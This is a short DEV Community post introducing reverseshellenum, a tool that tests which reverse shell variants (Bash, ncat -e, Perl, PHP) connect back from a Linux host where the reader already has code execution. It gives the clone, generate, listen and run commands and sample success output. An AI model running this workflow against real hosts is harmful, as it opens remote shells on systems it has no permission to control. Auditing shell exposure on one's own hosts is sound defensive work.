DEV Community

Cover image for Reverse Shell Enumeration
fx2301
fx2301

Posted on

Reverse Shell Enumeration

Why?

You're a defender wanting to audit to see which reverse shells work out of the box on a particular host. Or, you're a lazy attacker wanting to quickly determine which reverse shells will work.

When?

You have remote code execution on a Linux host, and the noise this enumeration generates is not an operational concern.

How?

  1. Clone the repo:
git clone https://github.com/fx2301/reverseshellenum.git
cd reverseshellenum
Enter fullscreen mode Exit fullscreen mode
  1. Generate yourself a fresh script:
LHOST="10.10.0.123" LPORT=31373 python3 generate.py
Enter fullscreen mode Exit fullscreen mode
  1. Run the listener:
./listen.sh
Enter fullscreen mode Exit fullscreen mode
  1. Run the reverse shell enumerator on the target host:
./reverseshellenum.sh
Enter fullscreen mode Exit fullscreen mode
  1. Observe which shells work (refer to shells.json):
$ ./listen.sh
[i] Starting Reverse Shell Audit
  [+] Success: Bash -i
  [+] Success: Bash 196
  [+] Success: Bash read line
  [+] Success: Bash 5
  [+] Success: ncat -e
  [+] Success: Perl
  [+] Success: Perl no sh
  [+] Success: PHP Emoji
[i] Ending Reverse Shell Audit
Enter fullscreen mode Exit fullscreen mode

PR's welcome! Kudos to revshells.com for the raw material.

πŸ‘‹ While you are here

Reinvent your career. Join DEV.

It takes one minute and is worth it for your career.

Get started

Top comments (0)

Sentry image

See why 4M developers consider Sentry, β€œnot bad.”

Fixing code doesn’t have to be the worst part of your day. Learn how Sentry can help.

Learn more

πŸ‘‹ Kindness is contagious

Discover a treasure trove of wisdom within this insightful piece, highly respected in the nurturing DEV Community enviroment. Developers, whether novice or expert, are encouraged to participate and add to our shared knowledge basin.

A simple "thank you" can illuminate someone's day. Express your appreciation in the comments section!

On DEV, sharing ideas smoothens our journey and strengthens our community ties. Learn something useful? Offering a quick thanks to the author is deeply appreciated.

Okay